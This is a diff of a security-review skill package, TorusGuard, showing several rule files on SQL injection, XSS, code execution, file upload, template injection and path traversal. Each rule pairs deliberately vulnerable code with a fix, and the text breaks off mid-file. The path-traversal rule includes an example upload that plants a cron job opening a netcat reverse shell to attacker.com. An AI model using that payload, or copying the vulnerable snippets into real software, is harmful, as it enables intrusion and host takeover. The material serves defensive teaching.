- package/skills/torusguard/payload/rules/active/TG-INPUT-002-raw-sql-concatenation.md +94 -0
- package/skills/torusguard/payload/rules/active/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
- package/skills/torusguard/payload/rules/active/TG-INPUT-004-unrestricted-file-upload.md +92 -0
- package/skills/torusguard/payload/rules/active/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
- package/skills/torusguard/payload/rules/active/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
- package/skills/torusguard/payload/rules/active/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
- package/skills/torusguard/payload/rules/active/TG-PLATFORM-002-missing-security-headers.md +95 -0
- package/skills/torusguard/payload/rules/active/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
- package/skills/torusguard/payload/rules/active/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
- package/skills/torusguard/payload/rules/active/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
- package/skills/torusguard/payload/rules/active/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
- package/skills/torusguard/payload/rules/active/TG-RATE-003-unbounded-resource-consumption.md +105 -0
- package/skills/torusguard/payload/rules/active/TG-SEC-001-hardcoded-secrets.md +83 -0
- package/skills/torusguard/payload/rules/active/TG-SEC-002-public-environment-secrets.md +83 -0
- package/skills/torusguard/payload/rules/active/TG-SEC-003-tracked-env-file.md +79 -0
- package/skills/torusguard/payload/rules/active/TG-SEC-004-sensitive-logging.md +83 -0
- package/skills/torusguard/payload/rules/agent/TG-AGENT-001-prompt-injection-system-context.md +56 -0
- package/skills/torusguard/payload/rules/agent/TG-AGENT-002-unsafe-tool-dispatch-unsandboxed-execution.md +68 -0
- package/skills/torusguard/payload/rules/agent/TG-AGENT-003-broad-mcp-tool-scoping.md +53 -0
- package/skills/torusguard/payload/rules/agent/TG-AGENT-004-persistent-memory-cross-session-leakage.md +67 -0
- package/skills/torusguard/payload/rules/authorization/TG-AUTH-006-mass-assignment.md +70 -0
- package/skills/torusguard/payload/rules/authorization/TG-AUTH-007-missing-property-level-authorization.md +71 -0
- package/skills/torusguard/payload/rules/authorization/TG-AUTH-008-untrusted-role-header-injection.md +112 -0
- package/skills/torusguard/payload/rules/business-logic/TG-BIZ-001-client-controlled-sensitive-business-value.md +37 -0
- package/skills/torusguard/payload/rules/business-logic/TG-BIZ-002-replayable-one-time-operation.md +37 -0
- package/skills/torusguard/payload/rules/business-logic/TG-BIZ-003-missing-workflow-state-validation.md +37 -0
- package/skills/torusguard/payload/rules/business-logic/TG-BIZ-004-unrestricted-sensitive-business-flow.md +37 -0
- package/skills/torusguard/payload/rules/cache/TG-CACHE-001-sensitive-response-publicly-cacheable.md +37 -0
- package/skills/torusguard/payload/rules/cache/TG-CACHE-002-missing-user-cache-isolation.md +37 -0
- package/skills/torusguard/payload/rules/cache/TG-CACHE-003-sensitive-data-in-url.md +37 -0
- package/skills/torusguard/payload/rules/csrf/TG-CSRF-001-missing-csrf-protection.md +37 -0
- package/skills/torusguard/payload/rules/csrf/TG-CSRF-002-unsafe-credentialed-cross-origin-request.md +37 -0
- package/skills/torusguard/payload/rules/custom/.gitkeep +1 -0
- package/skills/torusguard/payload/rules/custom/README.md +30 -0
- package/skills/torusguard/payload/rules/edge/TG-EDGE-001-serverless-global-state-leak.md +83 -0
- package/skills/torusguard/payload/rules/edge/TG-EDGE-003-aws-lambda-ephemeral-cold-start.md +76 -0
- package/skills/torusguard/payload/rules/graphql/TG-GQL-001-missing-query-depth-or-complexity-limits.md +64 -0
- package/skills/torusguard/payload/rules/graphql/TG-GQL-002-resolver-missing-authorization.md +37 -0
- package/skills/torusguard/payload/rules/graphql/TG-GQL-003-unbounded-graphql-pagination-or-batching.md +37 -0
- package/skills/torusguard/payload/rules/graphql/TG-GQL-004-unnecessary-production-introspection.md +37 -0
- package/skills/torusguard/payload/rules/secrets/TG-SEC-005-secret-in-git-history.md +37 -0
- package/skills/torusguard/payload/rules/secrets/TG-SEC-006-secret-in-build-artifact.md +37 -0
- package/skills/torusguard/payload/rules/secrets/TG-SEC-007-secret-in-test-or-example-fixture.md +37 -0
- package/skills/torusguard/payload/rules/ssrf/TG-SSRF-001-user-controlled-server-side-url-fetch.md +68 -0
- package/skills/torusguard/payload/rules/ssrf/TG-SSRF-002-missing-internal-network-protection.md +37 -0
- package/skills/torusguard/payload/rules/ssrf/TG-SSRF-003-unsafe-redirect-following.md +37 -0
- package/skills/torusguard/payload/rules/ssrf/TG-SSRF-004-unbounded-outbound-request.md +37 -0
- package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-001-missing-or-ignored-dependency-lockfile.md +37 -0
- package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-002-vulnerable-dependency-review-missing.md +94 -0
- package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-003-unsafe-ci-cd-secret-exposure.md +37 -0
- package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-004-unpinned-ci-action.md +37 -0
- package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-005-unsafe-dependency-install-script.md +37 -0
- package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-006-container-build-secret-persistence.md +61 -0
- package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-001-missing-webhook-signature-verification.md +37 -0
- package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-002-replayable-webhook.md +37 -0
- package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-003-missing-webhook-idempotency.md +37 -0
- package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-004-unvalidated-webhook-event-type.md +37 -0
- package/skills/torusguard/payload/rules/websocket/TG-WS-001-unauthenticated-websocket-handshake.md +82 -0
- package/skills/torusguard/payload/rules/websocket/TG-WS-002-missing-channel-level-authorization.md +37 -0
- package/skills/torusguard/payload/rules/websocket/TG-WS-003-unvalidated-websocket-message.md +37 -0
- package/skills/torusguard/payload/rules/websocket/TG-WS-004-unbounded-websocket-connections.md +37 -0
- package/skills/torusguard/payload/schemas/golden-recipe.schema.json +75 -0
- package/skills/torusguard/payload/scripts/apply_runner.py +332 -0
- package/skills/torusguard/payload/scripts/audit_runner.py +550 -0
- package/skills/torusguard/payload/scripts/diff_guard.py +183 -8
- package/skills/torusguard/payload/scripts/finding_scorer.py +91 -5
- package/skills/torusguard/payload/scripts/harden_runner.py +353 -0
- package/skills/torusguard/payload/scripts/html_reporter.py +643 -0
- package/skills/torusguard/payload/scripts/manifest_builder.py +7 -5
- package/skills/torusguard/payload/scripts/memory_engine.py +525 -99
- package/skills/torusguard/payload/scripts/monorepo_detector.py +123 -10
- package/skills/torusguard/payload/scripts/recheck_runner.py +221 -0
- package/skills/torusguard/payload/scripts/recipes_runner.py +130 -0
- package/skills/torusguard/payload/scripts/rules_sync.py +321 -0
- package/skills/torusguard/payload/scripts/run_manager.py +17 -5
- package/skills/torusguard/payload/scripts/stack_detect.py +458 -26
- package/skills/torusguard/payload/skills/torusguard/SKILL.md +42 -42
- package/skills/torusguard/payload/skills/torusguard/bootstrap.py +149 -70
- package/skills/torusguard/payload/skills/torusguard/references/csharp-security.md +41 -0
- package/skills/torusguard/payload/skills/torusguard/references/go-security.md +41 -0
- package/skills/torusguard/payload/skills/torusguard/references/java-security.md +40 -0
- package/skills/torusguard/payload/skills/torusguard/references/polyglot-security-matrix.md +25 -0
- package/skills/torusguard/payload/skills/torusguard/references/rust-security.md +40 -0
- package/.torusguard/scripts/__pycache__/diff_guard.cpython-311.pyc +0 -0
- package/skills/torusguard/__pycache__/bootstrap.cpython-311.pyc +0 -0
|
@@ -0,0 +1,94 @@
|
|
|
1
|
+
# TG-INPUT-002: Raw SQL Concatenation
|
|
2
|
+
|
|
3
|
+
## Severity
|
|
4
|
+
Critical
|
|
5
|
+
|
|
6
|
+
## Applies To
|
|
7
|
+
- Backend services that execute SQL queries
|
|
8
|
+
- Scripts and cron jobs that build dynamic SQL
|
|
9
|
+
- Data export/reporting endpoints with filters and sorting
|
|
10
|
+
- Administrative tooling with direct database access
|
|
11
|
+
|
|
12
|
+
## Why It Matters
|
|
13
|
+
Concatenating untrusted input into SQL statements allows SQL injection, one of the highest-impact application vulnerabilities.
|
|
14
|
+
Successful exploitation can expose sensitive records, bypass authentication checks, modify or delete data, and in some environments execute database-level administrative operations.
|
|
15
|
+
Even read-only endpoints can become a pivot for full data exfiltration when query construction is unsafe.
|
|
16
|
+
|
|
17
|
+
## What TorusGuard Looks For
|
|
18
|
+
- String interpolation or concatenation inside SQL query text using request-derived data.
|
|
19
|
+
- Dynamic `WHERE`, `ORDER BY`, `LIMIT`, or table-name fragments assembled from raw user input.
|
|
20
|
+
- Use of low-level query APIs without bind parameters.
|
|
21
|
+
- Sanitization-only approaches (replace/escape) used instead of parameterization.
|
|
22
|
+
- Unsafe helper functions that return query strings rather than query templates plus values.
|
|
23
|
+
|
|
24
|
+
## Unsafe Example
|
|
25
|
+
```js
|
|
26
|
+
app.get("/api/orders", async (req, res) => {
|
|
27
|
+
const customerId = req.query.customerId;
|
|
28
|
+
const sort = req.query.sort || "created_at DESC";
|
|
29
|
+
|
|
30
|
+
// Both customerId and sort are attacker-controlled
|
|
31
|
+
const sql =
|
|
32
|
+
"SELECT id, total, created_at FROM orders " +
|
|
33
|
+
"WHERE customer_id = '" + customerId + "' " +
|
|
34
|
+
"ORDER BY " + sort;
|
|
35
|
+
|
|
36
|
+
const rows = await db.query(sql);
|
|
37
|
+
res.json({ ok: true, orders: rows });
|
|
38
|
+
});
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
## Safe Example
|
|
42
|
+
```js
|
|
43
|
+
const SORT_COLUMNS = new Map([
|
|
44
|
+
["newest", "created_at DESC"],
|
|
45
|
+
["oldest", "created_at ASC"],
|
|
46
|
+
["total_high", "total DESC"],
|
|
47
|
+
["total_low", "total ASC"]
|
|
48
|
+
]);
|
|
49
|
+
|
|
50
|
+
app.get("/api/orders", async (req, res) => {
|
|
51
|
+
const customerId = String(req.query.customerId || "");
|
|
52
|
+
const sortKey = String(req.query.sort || "newest");
|
|
53
|
+
const sortSql = SORT_COLUMNS.get(sortKey);
|
|
54
|
+
|
|
55
|
+
if (!sortSql || !/^[a-f0-9-]{36}$/.test(customerId)) {
|
|
56
|
+
return res.status(400).json({ ok: false, error: "Invalid query parameters" });
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
const sql = `
|
|
60
|
+
SELECT id, total, created_at
|
|
61
|
+
FROM orders
|
|
62
|
+
WHERE customer_id = $1
|
|
63
|
+
ORDER BY ${sortSql}
|
|
64
|
+
`;
|
|
65
|
+
|
|
66
|
+
const rows = await db.query(sql, [customerId]);
|
|
67
|
+
res.json({ ok: true, orders: rows });
|
|
68
|
+
});
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
## Remediation
|
|
72
|
+
1. Replace all string-built SQL with parameterized queries or prepared statements.
|
|
73
|
+
2. Bind user input as values, never as SQL syntax fragments.
|
|
74
|
+
3. For dynamic sorting/filtering, map user options to fixed allowlisted SQL snippets.
|
|
75
|
+
4. Restrict database account privileges to least privilege to reduce blast radius.
|
|
76
|
+
5. Add static analysis and code review checks that ban raw concatenated SQL.
|
|
77
|
+
6. Cover injection payloads in automated tests for every query endpoint.
|
|
78
|
+
|
|
79
|
+
## Verification
|
|
80
|
+
- Search for query construction using template interpolation with request variables.
|
|
81
|
+
- Attempt payloads such as `' OR '1'='1` and confirm they are treated as literal values.
|
|
82
|
+
- Verify sort/filter options accept only predefined keys.
|
|
83
|
+
- Review database logs for rejected malformed statements and suspicious patterns.
|
|
84
|
+
- Confirm all DB access layers support parameter binding and are consistently used.
|
|
85
|
+
|
|
86
|
+
## False Positives and Exceptions
|
|
87
|
+
- Hardcoded SQL strings with no untrusted input are generally safe.
|
|
88
|
+
- Migration files may contain dynamic SQL for schema operations; these are acceptable if not user-influenced.
|
|
89
|
+
- Internal ETL code can still be vulnerable if source data is not trusted; do not auto-exempt.
|
|
90
|
+
|
|
91
|
+
## Related Rules
|
|
92
|
+
- [TG-INPUT-001](./TG-INPUT-001-missing-server-validation.md)
|
|
93
|
+
- [TG-INPUT-003](./TG-INPUT-003-unsafe-html-or-code-execution.md)
|
|
94
|
+
- [TG-AUTH-003](./TG-AUTH-003-missing-object-authorization.md)
|
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
# TG-INPUT-003: Unsafe HTML Rendering or Code Execution
|
|
2
|
+
|
|
3
|
+
## Severity
|
|
4
|
+
High
|
|
5
|
+
|
|
6
|
+
## Applies To
|
|
7
|
+
- Server-side rendering pipelines
|
|
8
|
+
- Rich text/comment rendering features
|
|
9
|
+
- Template engines and markdown-to-HTML converters
|
|
10
|
+
- Dynamic expression evaluators and script execution utilities
|
|
11
|
+
|
|
12
|
+
## Why It Matters
|
|
13
|
+
When untrusted content is rendered as HTML without sanitization, attackers can inject scripts and trigger stored or reflected XSS.
|
|
14
|
+
When untrusted input reaches evaluators such as `eval`, `Function`, or shell execution helpers, remote code execution and server compromise become possible.
|
|
15
|
+
These flaws frequently lead to session theft, account takeover, and full application compromise.
|
|
16
|
+
|
|
17
|
+
## What TorusGuard Looks For
|
|
18
|
+
- Use of dangerous rendering APIs such as `innerHTML`, `dangerouslySetInnerHTML`, or unsanitized template output.
|
|
19
|
+
- Markdown or rich text conversion with unsafe options enabled.
|
|
20
|
+
- Invocation of `eval`, `new Function`, VM contexts, or command execution with user-controlled fragments.
|
|
21
|
+
- Security filters that rely only on regex stripping of script tags.
|
|
22
|
+
- User content stored and later rendered in privileged admin views.
|
|
23
|
+
|
|
24
|
+
## Unsafe Example
|
|
25
|
+
```js
|
|
26
|
+
app.post("/api/notes/preview", (req, res) => {
|
|
27
|
+
const body = req.body.content;
|
|
28
|
+
|
|
29
|
+
// Stored then rendered unsafely
|
|
30
|
+
const html = `<article>${body}</article>`;
|
|
31
|
+
res.send(html);
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
app.post("/api/calc", (req, res) => {
|
|
35
|
+
const expression = req.body.expression;
|
|
36
|
+
|
|
37
|
+
// User controls executed code
|
|
38
|
+
const result = eval(expression);
|
|
39
|
+
res.json({ ok: true, result });
|
|
40
|
+
});
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
## Safe Example
|
|
44
|
+
```js
|
|
45
|
+
import sanitizeHtml from "sanitize-html";
|
|
46
|
+
|
|
47
|
+
app.post("/api/notes/preview", (req, res) => {
|
|
48
|
+
const content = String(req.body.content || "");
|
|
49
|
+
const safe = sanitizeHtml(content, {
|
|
50
|
+
allowedTags: ["p", "b", "i", "strong", "em", "ul", "ol", "li", "a", "code", "pre"],
|
|
51
|
+
allowedAttributes: { a: ["href", "title"] },
|
|
52
|
+
allowedSchemes: ["http", "https", "mailto"]
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
res.send(`<article>${safe}</article>`);
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
app.post("/api/calc", (req, res) => {
|
|
59
|
+
const op = String(req.body.op || "");
|
|
60
|
+
const left = Number(req.body.left);
|
|
61
|
+
const right = Number(req.body.right);
|
|
62
|
+
|
|
63
|
+
if (!Number.isFinite(left) || !Number.isFinite(right)) {
|
|
64
|
+
return res.status(400).json({ ok: false, error: "Invalid numeric input" });
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
const operations = {
|
|
68
|
+
add: (a, b) => a + b,
|
|
69
|
+
sub: (a, b) => a - b,
|
|
70
|
+
mul: (a, b) => a * b,
|
|
71
|
+
div: (a, b) => (b === 0 ? null : a / b)
|
|
72
|
+
};
|
|
73
|
+
|
|
74
|
+
if (!operations[op]) return res.status(400).json({ ok: false, error: "Unsupported operation" });
|
|
75
|
+
res.json({ ok: true, result: operations[op](left, right) });
|
|
76
|
+
});
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
## Remediation
|
|
80
|
+
1. Treat all user-controlled text as untrusted until sanitized for the target context.
|
|
81
|
+
2. Use maintained HTML sanitizers with explicit allowlists for tags and attributes.
|
|
82
|
+
3. Ban runtime code execution functions (`eval`, `Function`, shell interpolation) in request paths.
|
|
83
|
+
4. Replace expression execution with constrained allowlisted operations.
|
|
84
|
+
5. Enforce contextual output encoding in templates and frontend rendering layers.
|
|
85
|
+
6. Add CSP and defense-in-depth controls, but do not treat them as primary mitigation.
|
|
86
|
+
|
|
87
|
+
## Verification
|
|
88
|
+
- Submit payloads containing event handlers, script tags, and `javascript:` URLs.
|
|
89
|
+
- Confirm rendered output strips unsafe elements and attributes.
|
|
90
|
+
- Attempt expression payloads like `process.env` and verify they are rejected.
|
|
91
|
+
- Run security tests for stored and reflected rendering flows, including admin pages.
|
|
92
|
+
- Ensure static analysis flags prohibited runtime execution APIs.
|
|
93
|
+
|
|
94
|
+
## False Positives and Exceptions
|
|
95
|
+
- Trusted, static CMS content curated by privileged staff may allow richer HTML if isolated and sanitized by policy.
|
|
96
|
+
- Template literals are not inherently unsafe; only sinks that interpret HTML/code create risk.
|
|
97
|
+
- Sandboxed code execution environments still require strict resource and capability restrictions.
|
|
98
|
+
|
|
99
|
+
## Related Rules
|
|
100
|
+
- [TG-INPUT-001](./TG-INPUT-001-missing-server-validation.md)
|
|
101
|
+
- [TG-INPUT-002](./TG-INPUT-002-raw-sql-concatenation.md)
|
|
102
|
+
- [TG-AUTH-004](./TG-AUTH-004-insecure-session-cookie.md)
|
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
# TG-INPUT-004: Unrestricted File Upload
|
|
2
|
+
|
|
3
|
+
## Severity
|
|
4
|
+
High
|
|
5
|
+
|
|
6
|
+
## Applies To
|
|
7
|
+
- Profile avatar and document upload endpoints
|
|
8
|
+
- Media management APIs and admin upload tools
|
|
9
|
+
- Import features that accept archives or spreadsheets
|
|
10
|
+
- Object storage presigned upload workflows
|
|
11
|
+
|
|
12
|
+
## Why It Matters
|
|
13
|
+
Unrestricted uploads let attackers store executable scripts, malware, oversized payloads, and deceptive file types.
|
|
14
|
+
If uploaded files are publicly accessible or processed unsafely, attackers can trigger XSS, remote code execution, SSRF through parsers, or storage exhaustion denial of service.
|
|
15
|
+
Weak upload controls also create legal and compliance risk when sensitive content is mishandled.
|
|
16
|
+
|
|
17
|
+
## What TorusGuard Looks For
|
|
18
|
+
- Acceptance based only on filename extension or client-provided MIME type.
|
|
19
|
+
- Missing maximum file size, count, or rate limits.
|
|
20
|
+
- Uploading directly to web-served directories without safe naming.
|
|
21
|
+
- Lack of malware scanning or content-type verification by signature.
|
|
22
|
+
- Processing of complex formats without sandboxing and strict parser limits.
|
|
23
|
+
|
|
24
|
+
## Unsafe Example
|
|
25
|
+
```js
|
|
26
|
+
app.post("/api/upload", upload.single("file"), async (req, res) => {
|
|
27
|
+
const file = req.file;
|
|
28
|
+
|
|
29
|
+
// Trusts original name and MIME from client
|
|
30
|
+
const destination = path.join(__dirname, "public/uploads", file.originalname);
|
|
31
|
+
await fs.promises.writeFile(destination, file.buffer);
|
|
32
|
+
|
|
33
|
+
// Public URL serves whatever was uploaded
|
|
34
|
+
res.json({ ok: true, url: `/uploads/${file.originalname}` });
|
|
35
|
+
});
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
## Safe Example
|
|
39
|
+
```js
|
|
40
|
+
import crypto from "crypto";
|
|
41
|
+
import FileType from "file-type";
|
|
42
|
+
|
|
43
|
+
const MAX_SIZE = 5 * 1024 * 1024;
|
|
44
|
+
const ALLOWED = new Set(["image/png", "image/jpeg", "application/pdf"]);
|
|
45
|
+
|
|
46
|
+
app.post("/api/upload", upload.single("file"), async (req, res) => {
|
|
47
|
+
const file = req.file;
|
|
48
|
+
if (!file || file.size > MAX_SIZE) {
|
|
49
|
+
return res.status(400).json({ ok: false, error: "Invalid file size" });
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
const detected = await FileType.fromBuffer(file.buffer);
|
|
53
|
+
const mime = detected?.mime || "";
|
|
54
|
+
if (!ALLOWED.has(mime)) {
|
|
55
|
+
return res.status(400).json({ ok: false, error: "Unsupported file type" });
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
const extension = mime === "image/png" ? "png" : mime === "image/jpeg" ? "jpg" : "pdf";
|
|
59
|
+
const storedName = `${crypto.randomUUID()}.${extension}`;
|
|
60
|
+
const storagePath = path.join(__dirname, "private_uploads", storedName);
|
|
61
|
+
|
|
62
|
+
await fs.promises.writeFile(storagePath, file.buffer, { mode: 0o600 });
|
|
63
|
+
await queueForMalwareScan(storagePath);
|
|
64
|
+
|
|
65
|
+
res.json({ ok: true, fileId: storedName });
|
|
66
|
+
});
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
## Remediation
|
|
70
|
+
1. Enforce strict allowlists for file type, extension, and verified signature/MIME.
|
|
71
|
+
2. Set max size, max count, and upload rate limits per user and per endpoint.
|
|
72
|
+
3. Store files outside web root with generated names, never original filenames.
|
|
73
|
+
4. Scan uploaded content with malware detection before making files retrievable.
|
|
74
|
+
5. Re-validate file safety at retrieval and transformation points (thumbnailing, OCR, parsing).
|
|
75
|
+
6. Use presigned uploads with constrained policies and short expirations where applicable.
|
|
76
|
+
|
|
77
|
+
## Verification
|
|
78
|
+
- Upload files with double extensions (`.jpg.php`) and mismatched MIME signatures.
|
|
79
|
+
- Attempt oversized and high-frequency uploads to validate throttling and limits.
|
|
80
|
+
- Confirm stored filenames are non-guessable and not user-controlled.
|
|
81
|
+
- Verify uploaded objects cannot be executed as active content by browsers.
|
|
82
|
+
- Ensure parser pipelines reject malformed archives and nested compression bombs.
|
|
83
|
+
|
|
84
|
+
## False Positives and Exceptions
|
|
85
|
+
- Internal-only transfer channels with signed artifacts may permit broader file types, but must still enforce size and scanning controls.
|
|
86
|
+
- Some media pipelines rely on asynchronous scanning; temporary quarantine states are acceptable with blocked access until scan completion.
|
|
87
|
+
- Legacy endpoints may need phased migration, but unrestricted direct serving is not acceptable long term.
|
|
88
|
+
|
|
89
|
+
## Related Rules
|
|
90
|
+
- [TG-INPUT-001](./TG-INPUT-001-missing-server-validation.md)
|
|
91
|
+
- [TG-INPUT-003](./TG-INPUT-003-unsafe-html-or-code-execution.md)
|
|
92
|
+
- [TG-AUTH-004](./TG-AUTH-004-insecure-session-cookie.md)
|
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: TG-INPUT-005
|
|
3
|
+
title: Unsafe Template Rendering & Disabled Autoescaping
|
|
4
|
+
category: input-validation-encoding
|
|
5
|
+
severity: High
|
|
6
|
+
confidence: Confirmed
|
|
7
|
+
frameworks:
|
|
8
|
+
- django
|
|
9
|
+
- flask
|
|
10
|
+
- fastapi
|
|
11
|
+
cwe: CWE-79
|
|
12
|
+
asvs_v4: V5.3.3
|
|
13
|
+
nist_ssdf: PW.5.1
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
# TG-INPUT-005: Unsafe Template Rendering & Disabled Autoescaping
|
|
17
|
+
|
|
18
|
+
## 🚨 Problem Statement
|
|
19
|
+
Rendering user-controlled input directly into templates without context-aware escaping (e.g., using `render_template_string` or explicitly disabling escaping with `|safe` or `mark_safe`) allows attackers to inject malicious HTML, JavaScript, or server-side template directives.
|
|
20
|
+
|
|
21
|
+
> **Tuning Guardrails (v0.5.6):**
|
|
22
|
+
> - **DISTINGUISH** direct unsafe rendering from framework-managed autoescaped template rendering (e.g., passing context variables to `render_template("foo.html", var=x)`).
|
|
23
|
+
> - **DO NOT flag** safe templating utilities or correctly escaped output paths.
|
|
24
|
+
> - **FLAG ONLY** when unsafe rendering, disabled escaping, `mark_safe`, `|safe`, or dynamic template execution is materially relevant.
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 💥 Adversarial Threat & Exploitation
|
|
29
|
+
1. **Server-Side Template Injection (Flask / Jinja2):**
|
|
30
|
+
```python
|
|
31
|
+
# Unsafe Flask SSTI
|
|
32
|
+
@app.route("/greet")
|
|
33
|
+
def greet():
|
|
34
|
+
name = request.args.get("name")
|
|
35
|
+
template = f"<h1>Hello {name}</h1>"
|
|
36
|
+
return render_template_string(template) # RCE via {{ 7*7 }} or {{ config.__class__... }}
|
|
37
|
+
```
|
|
38
|
+
2. **Cross-Site Scripting (Django / Jinja2):**
|
|
39
|
+
```python
|
|
40
|
+
# Unsafe Django mark_safe
|
|
41
|
+
from django.utils.safestring import mark_safe
|
|
42
|
+
|
|
43
|
+
def comment_view(request):
|
|
44
|
+
user_comment = request.POST.get("comment")
|
|
45
|
+
# Bypasses HTML escaping
|
|
46
|
+
html_output = mark_safe(f"<div class='comment'>{user_comment}</div>")
|
|
47
|
+
return HttpResponse(html_output)
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## 🛠️ Framework-Native Remediations
|
|
53
|
+
|
|
54
|
+
### 🐍 Flask / Jinja2 (Safe Parameter Passing)
|
|
55
|
+
|
|
56
|
+
#### ❌ Unsafe Pattern
|
|
57
|
+
```python
|
|
58
|
+
# Unsafe: Concatenating input into template string
|
|
59
|
+
return render_template_string(f"Hello {user_input}")
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
#### ✅ Safe Remediation
|
|
63
|
+
```python
|
|
64
|
+
# Safe: Pass input as context variable to autoescaped template file
|
|
65
|
+
from flask import render_template
|
|
66
|
+
|
|
67
|
+
@app.route("/greet")
|
|
68
|
+
def greet():
|
|
69
|
+
name = request.args.get("name", "")
|
|
70
|
+
return render_template("greet.html", name=name) # Automatically HTML-escaped by Jinja2
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
### 🐍 Django (Template Context & `format_html`)
|
|
76
|
+
|
|
77
|
+
#### ❌ Unsafe Pattern
|
|
78
|
+
```python
|
|
79
|
+
# Unsafe: mark_safe on unescaped input string
|
|
80
|
+
return HttpResponse(mark_safe(f"<b>Welcome, {username}</b>"))
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
#### ✅ Safe Remediation
|
|
84
|
+
```python
|
|
85
|
+
# Safe: Use format_html for conditional safe markup with autoescaped arguments
|
|
86
|
+
from django.utils.html import format_html
|
|
87
|
+
|
|
88
|
+
def welcome_view(request):
|
|
89
|
+
username = request.GET.get("username", "")
|
|
90
|
+
# format_html escapes variables while preserving the fixed HTML wrapper
|
|
91
|
+
safe_markup = format_html("<b>Welcome, {}</b>", username)
|
|
92
|
+
return HttpResponse(safe_markup)
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
## 🧪 Verification & Reproduction
|
|
98
|
+
1. Submit XSS payload:
|
|
99
|
+
```bash
|
|
100
|
+
curl "http://localhost:5000/greet?name=%3Cscript%3Ealert(1)%3C/script%3E"
|
|
101
|
+
```
|
|
102
|
+
2. **Assertion:** Response body must contain HTML entity encoded characters (`<script>alert(1)</script>`) and must NOT execute raw tags.
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: TG-INPUT-006
|
|
3
|
+
title: Path Traversal and Unsafe Upload Storage
|
|
4
|
+
category: file-upload-handling
|
|
5
|
+
severity: Critical
|
|
6
|
+
confidence: Confirmed
|
|
7
|
+
frameworks:
|
|
8
|
+
- django
|
|
9
|
+
- flask
|
|
10
|
+
- fastapi
|
|
11
|
+
cwe: CWE-22
|
|
12
|
+
asvs_v4: V12.1.1
|
|
13
|
+
nist_ssdf: PW.5.1
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
# TG-INPUT-006: Path Traversal and Unsafe Upload Storage
|
|
17
|
+
|
|
18
|
+
## 🚨 Problem Statement
|
|
19
|
+
Concatenating untrusted user input directly into file system paths without canonicalization or validation allows attackers to traverse directory boundaries (e.g., `../../etc/passwd`) and read or overwrite arbitrary files on the host system.
|
|
20
|
+
|
|
21
|
+
> **Tuning Guardrails (v0.5.6):**
|
|
22
|
+
> - **DO NOT treat** every `os.path.join()` as path traversal.
|
|
23
|
+
> - **ESCALATE** when untrusted filename/path input reaches file path construction or storage without canonicalization, allowlisting, sanitization (e.g., `secure_filename`), or safe generated naming.
|
|
24
|
+
> - **RECOGNIZE** project-approved filename normalization wrappers where evidence exists.
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 💥 Adversarial Threat & Exploitation
|
|
29
|
+
An attacker uploads a file with a relative path payload:
|
|
30
|
+
```http
|
|
31
|
+
POST /upload HTTP/1.1
|
|
32
|
+
Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/malicious_job"
|
|
33
|
+
|
|
34
|
+
* * * * * root /bin/nc -e /bin/sh attacker.com 4444
|
|
35
|
+
```
|
|
36
|
+
If the server performs `open(os.path.join(UPLOAD_DIR, file.filename), "wb")`, the file is written to `/etc/cron.d/`, resulting in arbitrary Remote Code Execution (RCE) on the host.
|
|
37
|
+
|
|
38
|
+
---
|
|
39
|
+
|
|
40
|
+
## 🛠️ Framework-Native Remediations
|
|
41
|
+
|
|
42
|
+
### 🐍 Flask (Werkzeug `secure_filename` + UUID Prefix)
|
|
43
|
+
|
|
44
|
+
#### ❌ Unsafe Pattern
|
|
45
|
+
```python
|
|
46
|
+
# Unsafe: Raw client filename in os.path.join
|
|
47
|
+
@app.route("/upload", methods=["POST"])
|
|
48
|
+
def upload():
|
|
49
|
+
file = request.files["file"]
|
|
50
|
+
filepath = os.path.join(UPLOAD_FOLDER, file.filename)
|
|
51
|
+
file.save(filepath)
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
#### ✅ Safe Remediation
|
|
55
|
+
```python
|
|
56
|
+
